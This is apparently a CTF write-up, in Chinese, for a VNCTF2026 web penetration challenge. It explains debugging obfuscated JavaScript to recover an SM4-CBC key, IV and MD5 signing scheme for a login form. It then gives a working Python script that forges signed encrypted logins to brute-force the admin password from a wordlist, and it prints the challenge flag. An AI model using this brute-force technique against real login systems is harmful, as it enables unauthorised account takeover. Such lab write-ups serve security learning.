WEB VNCTF2026_渗透测试 GHSC 2026-02-09 2026-03-12 渗透测试 小弟第一次見到調試JS的題 , 學習一下
去BP看了下:
一開始我以為是RSA, 但解出來是亂碼 , 看了看官方的wp才知道是需要进行js调试。
先下載一個新工具:AntiDebug Breaker
这里用AntiDebug Breaker这个谷歌浏览器插件,hook一下对称加密和非对称加密:
看出n的作用是類似簽名作用 , 把是这一长串md5加密后的值
1 {"userName":"admin","passWord":"111","timeStamp":1770561617253,"TOKEN":"35150b18161d5a380e8bdfc8d2d8a00a"}|Infernity|{"key":"e37d522eae571440b0882d3ce7b094bc","iv":"85a624215b547bf96cd84b8166e81661"}
把「生成 TOKEN、生成 n、AES 加密」那段 JS 找出來
這是我第1次用js debug 先停用所有斷點 :
在AntiDebug Breaker 來追蹤Call Stack 追到 1.js :
找到了:
在這兩函數下一個斷點:發現有了 key 一堆東西出來了
那_0x526ce3和_0x158a14被赋值的两行就是分别的加密函数了
在_0x526ce3的_0x51fd08找到了加密函數:
sm4 , cbc , 追蹤變量 , 用cyberche驗證一下:
_0x526ce3為加密後的變數,就是p , q 是_0x158a14
p = _0x526ce3 = d028143200e0b029b29e59ef512221be06091fc09fc118db83379e3010cdc1f574c1cf24299e3e3613a22565fcad6ae929eee2cd5a0299cc7b9d444125dda2301ef1e3cb5cd2b416f8790215692e410d04b10fc597a88cd48fb116d83388de7af4bd68baf42e20321609c150b364eb4c
q = _0x158a14 = afd7b140675010988079988230165d69da2c59a37483045db2419c622b491f575eb29f4b4b25c87526601d40f3be37bd4585f1da67a0fa2599a0a6964b7f5e9f1d3ed35fe18917f3fde07cd16fc3ce85284b5cad2a244daadbba9960f37735c2d40941d733e0ff87468e29d0c7efd76d5f2d8058e207f4b68b4da5a9b062100c15ffd3d4ddbf1af19a57f8f024bc97637ff552071a43afc90c692b46d1c3dbfb3bd496f7475c5e74238809fd76bec137c362
key = 531584a03814ffc5e2fe85705df7a480
iv = 505eb37344fbd234ce9142cb7ee4224a
所以是一個非对称加密加密对称加密密钥,用对称加密来加密业务数据,并附带时间戳、签名等防篡改,防重放的场景。签名就是n , p 是內容 , q是key和vi吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 import base64import hashlibimport jsonimport timeimport uuidimport requestsfrom gmssl.sm4 import CryptSM4, SM4_ENCRYPTdef sm4_cbc_encrypt_hex (plaintext: bytes | str ) -> str : if isinstance (plaintext, str ): data = plaintext.encode("utf-8" ) else : data = plaintext key = bytes .fromhex("531584a03814ffc5e2fe85705df7a480" ) iv = bytes .fromhex("505eb37344fbd234ce9142cb7ee4224a" ) crypt = CryptSM4() crypt.set_key(key, SM4_ENCRYPT) cipher = crypt.crypt_cbc(iv, data) return cipher.hex () if __name__ == "__main__" : with open ("VNCTF2026/014202_passwords.txt" , "r" , encoding="utf-8" ) as f: passwords = f.readlines() sess = requests.Session() fail_set = { "Fq3QhwvtNysY8brIt0n1oQ==" , "5ow0Qvz2iE+uylTzDHYVww==" } for password in passwords: business = { "userName" : "admin" , "passWord" : password.strip(), "timeStamp" : int (time.time() * 1000 ), "TOKEN" : hashlib.md5(str (uuid.uuid4()).encode()).hexdigest() } business_str = json.dumps(business, separators=("," , ":" )) p = sm4_cbc_encrypt_hex(business_str) q = "afd7b140675010988079988230165d69da2c59a37483045db2419c622b491f575eb29f4b4b25c87526601d40f3be37bd4585f1da67a0fa2599a0a6964b7f5e9f1d3ed35fe18917f3fde07cd16fc3ce85284b5cad2a244daadbba9960f37735c2d40941d733e0ff87468e29d0c7efd76d5f2d8058e207f4b68b4da5a9b062100c15ffd3d4ddbf1af19a57f8f024bc97637ff552071a43afc90c692b46d1c3dbfb3bd496f7475c5e74238809fd76bec137c362" sign_str = business_str + "|Infernity|" + '{"key":"531584a03814ffc5e2fe85705df7a480","iv":"505eb37344fbd234ce9142cb7ee4224a"}' n = hashlib.md5(sign_str.encode()).hexdigest() json_data = {"p" : p, "q" : q, "n" : n} json_str = json.dumps(json_data) body = base64.b64encode(json_str.encode()).decode() res = sess.post("http://114.66.24.228:34313/login" , data=body, timeout=3 ) rt = res.text.strip() pw = password.strip() print (pw, "=>" , rt) if rt not in fail_set: print ("[+] FOUND:" , pw) print ("[+] RESPONSE:" , res.text) break
flag:VNCTF{caf5129f-5844-4da6-b688-dc7d84a30075}